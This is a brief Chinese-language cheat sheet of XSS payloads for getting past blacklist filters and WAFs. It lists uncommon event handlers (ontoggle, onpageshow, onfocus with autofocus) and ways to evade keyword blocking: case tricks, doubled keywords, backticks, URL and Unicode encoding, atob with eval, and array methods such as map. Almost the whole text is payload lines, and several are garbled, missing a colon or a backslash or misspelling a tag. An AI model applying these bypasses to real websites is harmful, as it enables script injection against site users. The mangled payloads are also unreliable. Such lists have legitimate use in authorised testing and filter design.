绕过简单的xss防护
如果双引号被禁用就用单引号。
针对黑名单过滤,过滤一般不全,
过滤了img,还有input、div、body、detial、L
等标签
过滤了onclik,onmouseover,可以尝试冷门的触发事件onmouseenter、onpageshow
<body onpageshow=alert(/xxxxx/)>
<details/open/ontoggle="alert
detials">
ontoggle事件在用户打开或关闭
元素时触发
过滤了()
,可以尝试反引号, 过滤了引号`‘`和`“`,可以尝试反引号
大小写绕过
双写绕过
1.加上一个xmlns属性绕过
如果<svg onload="javascriptalert(1)">被拦截了
可以试试<svg onload="javascriptalert(1)"xmlns="https:www.baidu.com">
<details open ontoggle=top.alert(1)>
<details open ontoggle=top[‘prompt’](1)>
<details open ontoggle=top[‘al’%2b’ert’](1)> 注:%2b为url编码的
2.eval函数执行
<details open ontoggle=top.eval(‘ale’%2B’rt(1)’) >
<details open ontoggle=eval(‘alert(1)’) >
eval拦截的话,可以试试,把 e Unicode编码
<details open ontoggle=u0065val(atob(‘YWxlcnQoMSk=’)) >
3.拦截了alert
当alert不行,可以考虑的有prompt,confirm
<details open ontoggle=prompt(1)>
<button onfocus=prompt(1) autofocus>
<select autofocus onfocus=prompt(1)>
4.反引号
如果存在alert函数,但是Waf并不拦截。但是当加上()括号,就拦截了。可以不试试反引号。例子:
<details/open/ontoggle="alert`1`">
5.map绕过
map返回一个数组,传入一个函数。
[1].map(alert)依赖map的特性,可以避免alert函数后面带有()括号,以此触发规则。
其他的例子:
<details open ontoggle=[1].find(alert)>
<details open ontoggle=[1].%65very(alert)>
<details open ontoggle=[1].u0066orEach(alert)>